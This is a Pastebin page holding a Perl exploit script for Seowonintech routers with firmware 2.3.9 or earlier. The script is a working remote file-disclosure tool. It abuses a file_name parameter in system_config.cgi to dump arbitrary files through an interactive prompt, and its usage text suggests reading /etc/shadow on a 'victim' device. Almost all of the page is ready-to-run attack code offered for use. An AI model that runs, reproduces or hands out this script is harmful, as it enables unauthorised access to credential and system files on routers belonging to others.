Advertisement
hackerscommunity

Seowonintech Routers <= 2.3.9 remote file disclosure exploit

Jul 11th, 2015
390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.51 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # [+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper
  4. #
  5. # Author: Todor Donev (todor dot donev at gmail.com)
  6. # Type: Hardware
  7. # Platform: Linux
  8. #
  9. # Special greetz to Stiliyan Angelov, Tsvetelina Emirska and all
  10. # my friends that support me
  11. #
  12. # 2013 Bulgaria
  13. #
  14. #  http://www.ethical-hacker.org/
  15. #  https://www.facebook.com/ethicalhackerorg
  16. #
  17. #
  18. use LWP::Simple;
  19.    
  20. my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
  21. if(not defined $ARGV[0])
  22. {
  23.      usg();
  24.      exit;
  25. }
  26. print "[+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper\n";
  27. $check = $host."/cgi-bin/system_config.cgi";
  28. get($check) || die "[-] Error: $!\n";    
  29. if (defined $check =~ s/\/etc\///gs){
  30.      print "[+] Connected to $ARGV[0]\n";
  31.      print "[+] Exploiting..\n\n";
  32. }
  33. while(1){
  34.      print "# cat ";
  35.      chomp($file=<STDIN>);
  36.      $bug = $host."/cgi-bin/system_config.cgi?file_name=".$file."&btn_type=load&action=APPLY";
  37.      if($file eq ""){ print "Enter full path to file!\n"; }
  38.      $data=get($bug) || die "$!, try another exploit\n";
  39.      $data =~ s/Null/File not found!/gs;
  40.      if (defined $data =~ m{rows="30">(.*?)&lt;/textarea&gt;}sx){
  41.      print $1."\n";
  42. }}
  43. sub usg
  44. {
  45.      print " [+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper\n";
  46.      print " [?] usg: perl $0 <victim>\n";
  47.      print " [?] exmp xpl usg: perl $0 192.168.1.1 :)\n";
  48.      print " [?] exmp xpl cmd: # cat /etc/shadow :)\n";
  49.      print " [?] The device use Linux.\n";
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement